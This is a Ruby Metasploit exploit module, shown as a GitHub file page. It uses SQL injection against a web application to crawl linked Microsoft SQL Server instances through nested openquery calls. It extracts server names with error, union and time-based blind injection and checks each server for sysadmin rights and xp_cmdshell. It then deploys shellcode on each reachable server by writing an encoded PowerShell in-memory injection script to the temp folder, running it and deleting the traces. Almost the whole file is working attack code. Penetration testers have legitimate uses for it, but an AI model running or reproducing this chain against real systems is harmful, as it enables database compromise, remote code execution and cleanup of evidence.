-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmssql_linkcrawler_sqli.rb
executable file
·568 lines (524 loc) · 22.4 KB
/
mssql_linkcrawler_sqli.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Database Link Crawler',
'Description' => %q{
When provided with a valid SQLi URL, this module will crawl SQL Server database links and identify MSSQL links configured with sysadmin privileges.
Syntax for injection URLs:
Error: /account.asp?id=1+and+1=[SQLi];--
Union: /account.asp?id=1+union+all+select+null,[SQLi],null;--
Union works most reliably if "id=1" does not return any data, i.e. use "id=12345678"
Blind: /account.asp?id=1;[SQLi];--
The payload deployment works currently only on systems that have powershell. Powershell deployment code based on Matthew Graeber's research.
},
'Author' =>
[
'Antti Rantasaari <[email protected]>',
'Scott Sutherland "nullbind" <[email protected]>'
],
'Platform' => [ 'Windows' ],
'License' => MSF_LICENSE,
'References' => [[ 'URL', 'http://www.netspi.com/' ],['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
'Version' => '$Revision: 1 $',
'DisclosureDate' => 'Jan 1 2000',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']),
OptString.new('TYPE', [ true, 'SQLi type (ERROR,UNION, or BLIND)', 'ERROR']),
OptString.new('CHARSET', [true, 'Charset used for blind injections', 'default']),
OptString.new('DELAY', [true, 'Time delay for blind injections - 1-5 seconds', '1']),
OptBool.new('DEPLOY', [true, 'Deploy a payload on target systems', 'true']),
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy payload to (blank = all)'])
], self.class)
end
def exploit
masterList = Array.new
masterList[0] = Hash.new # Define new hash
masterList[0]["name"] = "" # Name of the current database server
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
shelled = Array.new # keeping track of shelled systems to prevent multiple incoming sa links resulting in multiple shells on one system
# Create table to store configuration information from crawled database server links
linked_server_table = Rex::Ui::Text::Table.new(
'Header' => 'Linked Server Table',
'Ident' => 1,
'Columns' => ['db_server', 'link_path','link_priv','link_status']
)
save_loot = ""
type = datastore['type'].to_s.downcase
print_status("----------------------------------------------------")
print_status("Start time : #{Time.now}")
print_status("----------------------------------------------------")
print_status("Enumerating name of database server entry point")
print_status("----------------------------------------------------")
########################################
# Going through each identified database
########################################
while masterList.any? {|f| f["done"] == 0}
server = masterList.detect {|f| f["done"] == 0}
if type=="error" or type=="union"
execute = "(select @@servername as int)"
sql = query_builder(server["path"].first,"",0,execute)
res = mssql_query(sql)
unless res == nil
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
else
name = nil
end
elsif type=="blind"
column = "@@servername"
name = blind_injection(server["path"].first,'name',column)
end
##################################################
# Printing statuses
# Calling mssql_permission_checker for good servers (not broken links)
##################################################
unless server["path"].first.first == nil
print("\n") if datastore['VERBOSE'] == true
print_status("----------------------------------------------------")
print_status("Enumerating server information #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
print_status("----------------------------------------------------")
end
unless name == nil
server["name"] = name
print_status("Server information")
print_status(" o Server name: #{name}")
if server["path"].first.first != nil
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
else
print_status(" o Path: NA")
end
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
badlink = 0
else
print_error("Server information - bad link")
print_status(" o Server name: #{server["path"].first.last}")
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
print_status(" o Privileges: NA")
badlink = 1
end
# Write Report and Display output to the screen
save_loot = "yes"
write_to_report(server["name"],server["path"],masterList[0]["name"],privstatus,badlink,linked_server_table)
# Get number of good links on the server
count = nil
if type=="error" or type == "union" and name != nil
execute = "(select cast(count(srvname) as varchar) from master..sysservers where srvname != @@servername and dataaccess = 1 and srvproduct = 'SQL Server')"
sql = query_builder(server["path"].first,"",0,execute)
res = mssql_query(sql)
count = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type=="blind" and name !=nil
column = "srvname"
if server["name"] != nil
count = blind_injection(server["path"].first,'linkcount',column)
end
end
###########################
# Crawling database links #
###########################
if count != nil and count != 0
print_status("")
print_status("Crawling linked servers on #{server["name"]}...")
print_status("Links found: #{count}")
(1..Integer(count)).each do |i|
name = nil
if type=="error" or type == "union"
execute = "select top 1 srvname from master..sysservers where srvname in (select top " + i.to_s + \
" srvname from master..sysservers where srvname != @@servername and dataaccess = 1 \
and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc"
sql = query_builder(server["path"].first,"",0,execute)
res = mssql_query(sql)
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type=="blind"
column = "srvname"
name = blind_injection(server["path"].first,'name',column,i.to_s)
end
print_status("Found a link to #{name}")
if name != nil
unless masterList.any? {|f| f["name"] == name}
masterList << add_host(name,server["path"].first)
else
(0..masterList.length-1).each do |x|
if masterList[x]["name"] == name
masterList[x]["path"] << server["path"].first.dup
masterList[x]["path"].last << name
print_status("Alternative path to #{name}: #{masterList.first["name"]} -> #{server["path"].first.join(" -> ")} -> #{name}")
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
else
break
end
end
end
end
end
end
server["done"] = 1
end
print_status("----------------------------------------------------")
print_status("End time : #{Time.now}")
print_status("----------------------------------------------------")
# Setup table for loot
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
end
# Write log to loot / file
if (save_loot=="yes")
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
print_status("Results have been saved to: #{path}")
end
end
#-------------------------------------------------------------------------------------
# Method to check if xp_cmdshell accessible - if so, calls payload delivery method
#-------------------------------------------------------------------------------------
def mssql_permission_checker(server,masterList,name,type,shelled)
temppath = Array.new
server["path"].first.each {|j| temppath << j}
unless temppath.last == name or server["path"].first.first == nil
temppath << name
end
# Checking if sysadmin privileges on the server
sysadmin = "0"
if type == "error" or type == "union"
execute = "(select cast(is_srvrolemember('sysadmin') as varchar))"
sql = query_builder(temppath,"",0,execute)
res = mssql_query(sql)
sysadmin = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type == "blind"
column = "sysadmin"
sysadmin = blind_injection(temppath,"enabled",column)
end
# Checking if xp_cmdshell enabled
if sysadmin == "1"
print_status(" o Privileges: sysadmin")
xpcmdshell = "0"
if type == "error" or type == "union"
execute = "(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')"
sql = query_builder(temppath,"",0,execute)
res = mssql_query(sql)
xpcmdshell = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type == "blind"
column = "xpcmdshell"
xpcmdshell = blind_injection(temppath,"enabled",column)
end
if xpcmdshell == "1"
if temppath[0] == nil
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]}")
else
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
end
if type == "error" or type == "union" and temppath.first == nil
print_status("Attempting to deliver payload on first server #{name}")
print_status("This may fail depending on the injection point [SQLi] location")
print_status("If no shell, try mssql_payload_sqli module")
end
# Deploying a payload if no shells on system and DEPLOY = true
unless shelled.include?(name)
#Deploy to specific target if specified
if datastore['DEPLOYLIST']==""
datastore['DEPLOYLIST'] = nil
end
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - Checking if #{name} is on the deploy list...")
end
if datastore['DEPLOYLIST'] != nil
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
end
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - #{name} is on the deploy list.")
end
if datastore['DEPLOY']
powershell_upload_exec(temppath)
end
shelled << name
return 1
else
print_status("\t - #{name} is NOT on the deploy list, moving on.") and datastore["VERBOSE"] == true
return 1
end
else
if datastore['DEPLOY']
print_status("Payload already deployed on #{name}")
return 1
end
end
end
else
print_status(" o Privileges: user")
return 0
end
end
#-------------------------------------------------------------------------------------
# Method for blind SQL injections
# Will fail if targeted server very slow - mssql_query function times out at 5 seconds
#-------------------------------------------------------------------------------------
def blind_injection(path,command,column,topcount=false)
delay = datastore['DELAY']
if delay.to_i<1 or delay.to_i>5
delay = 1
end
if command=="name"
length = 0
spot = 1
name = ""
# checking if link works - if good, returns link name; if bad, returns nil
unless path.last == nil or column == "srvname"
execute = "select 1; if(select len((#{column})))>0 begin waitfor delay '0:0:#{delay}' end"
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
return path.last
else
return nil
end
end
# get the length of @@servername or linked server srvname
print(" Extracting #{column} value length: ") if datastore['VERBOSE'] == true
(1..100).each do |i|
if column == "@@servername"
execute = "select 1; if(select len((#{column})))=#{i.to_s} begin waitfor delay '0:0:#{delay}' end"
end
if column == "srvname"
execute = "select 1; if(select top 1 len(srvname) from master..sysservers where srvname in \
(select top #{topcount} srvname from master..sysservers where srvname != @@servername and \
dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc)='#{i.to_s}' \
begin waitfor delay '0:0:#{delay}' end"
end
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
print("#{i}\n") if datastore['VERBOSE'] == true
length = i
break
end
end
if length == 100
return nil
end
# enumerate servername or linked server servername one character at a time
if datastore['CHARSET'] == 'default'
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.\\/-_#!?*@$%&()"
elsif
charset = datastore['CHARSET']
end
spot = 1
print(" Extracting #{column} value: ") if datastore['VERBOSE'] == true
while spot <= length
charset.each_char do |i|
if column == "@@servername"
execute = "select 1; if(select substring(#{column},#{spot},1))='#{i}' begin waitfor delay '0:0:#{delay}' end"
end
if column == "srvname"
execute = "select 1; if(select top 1 substring(srvname,#{spot},1) from master..sysservers \
where srvname in (select top #{topcount} srvname from master..sysservers where srvname \
!= @@servername and dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) \
order by srvname desc)='#{i}' begin waitfor delay '0:0:#{delay}' end"
end
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
spot = spot+1
name = name + i
print("#{i}") if datastore['VERBOSE'] == true
break
end
if i == charset[-1]
print("\n") if datastore['VERBOSE'] == true
print_error("Failed to enumerated server name")
return nil
end
end
end
print("\n") if datastore['VERBOSE'] == true
return name
# check how many linked servers on database server
elsif command=="linkcount"
(0..100).each do |i|
execute = "select 1; if(select count(srvname) from master..sysservers where srvname != @@servername and dataaccess = 1 \
and srvproduct = 'SQL Server')=#{i} begin waitfor delay '0:0:#{delay}' end"
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
return i
end
end
return nil
# check is sysadmin or xp_cmdshell enabled
elsif command=="enabled"
if column == "sysadmin"
execute = "select 1; if(select is_srvrolemember('sysadmin'))=1 begin waitfor delay '0:0:#{delay}' end"
end
if column == "xpcmdshell"
execute = "select 1; if(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')='1' \
begin waitfor delay '0:0:#{delay}' end"
end
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
return "1"
end
return "0"
end
end
#-------------------------------------------------------------------------------------
# Method that builds nested openquery statements using during crawling
#-------------------------------------------------------------------------------------
def query_builder(path,sql,ticks,execute,nowrap=false)
# Temp used to maintain the original masterList[x]["path"]
temp = Array.new
path.each {|i| temp << i}
# actual query - defined when the function originally called - ticks multiplied
if path.length == 0
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
execute = "(select cast('startmsf'+(" + execute + ")+'endmsf' as int))"
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
execute = "(select 'startmsf'+(" + execute + ")+'endmsf')"
end
return execute.gsub("'","'"*2**ticks)
# openquery generator
else
sql = "(select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + "))"
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
sql = "(select cast('startmsf'+(" + sql + ")+'endmsf' as int))"
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
sql = "(select 'startmsf'+(" + sql + ")+'endmsf')"
end
return sql
end
end
#-------------------------------------------------------------------------------------
# Method for adding new linked database servers to the crawl list
#-------------------------------------------------------------------------------------
def add_host(name,path)
# Used to add new servers to masterList
server = Hash.new
server["name"] = name # Name of the current database server
temppath = Array.new
path.each {|i| temppath << i }
server["path"] = [temppath]
server["path"].first << name
server["done"] = 0
return server
end
#-------------------------------------------------------------------------------------
# Method for generating the report
#-------------------------------------------------------------------------------------
def write_to_report(server_name,server_path,master_name,privstatus,badlink,linked_server_table)
# Set server name
report_server = server_name
# Set path
if server_path.first.first == nil #can be used to determine if entry point
report_path = "NA"
frontlabel = ""
else
report_path = "#{master_name} -> #{server_path.first.join(" -> ")}"
frontlabel = "Link "
end
# Set privilege level language
if privstatus == 0 then
report_priv = "USER"
else
report_priv = "SYSADMIN!"
end
# Set bad link language
if badlink == 1 then
report_status = "DOWN"
report_priv = "NA"
else
report_status = "UP"
end
# Add report entry
linked_server_table << [report_server,report_path,report_priv,report_status]
return linked_server_table
end
#-------------------------------------------------------------------------------------
# Method that delivers shellcode payload via powershell thread injection
# Leaves a powershell process running on the target system
# Code based on http://www.exploit-monday.com/2011_10_16_archive.html
#-------------------------------------------------------------------------------------
def powershell_upload_exec(path)
print_status("Deploying a payload")
# Create powershell script that will inject our shell code
# Note: Must start multi/handler and set DisablePayloadHandler if expecting multiple shells
myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"
# Unicode encode powershell script
mytext_uni = Rex::Text.to_unicode(myscript)
# Base64 encode unicode
mytext_64 = Rex::Text.encode_base64(mytext_uni)
# Generate random file name
rand_filename = rand_text_alpha(8)
var_duplicates = rand_text_alpha(8)
# Write base64 encode powershell payload to temp file
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
# Adding line number tracking to remove line duplication from nested link write commands
linenum = 0
mytext_64.scan(/.{1,2500}/).each {|part|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
linenum = linenum+1
}
# Remove duplicate lines from temp file and write to new file
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
# Generate base64 encoded powershell command we can use noexit and avoid parsing errors
# If running on 64bit system, 32bit powershell called from syswow64 - path to Powershell on 64bit systems hardcoded
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) \
-join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe \
-noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
powershell_base64 = Rex::Text.encode_base64(powershell_uni)
## Setup and execute shellcode with powershell via xp_cmdshell
print_status("Executing the payload")
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_base64}'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
# Remove payload data from the target server
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql,false)
end
end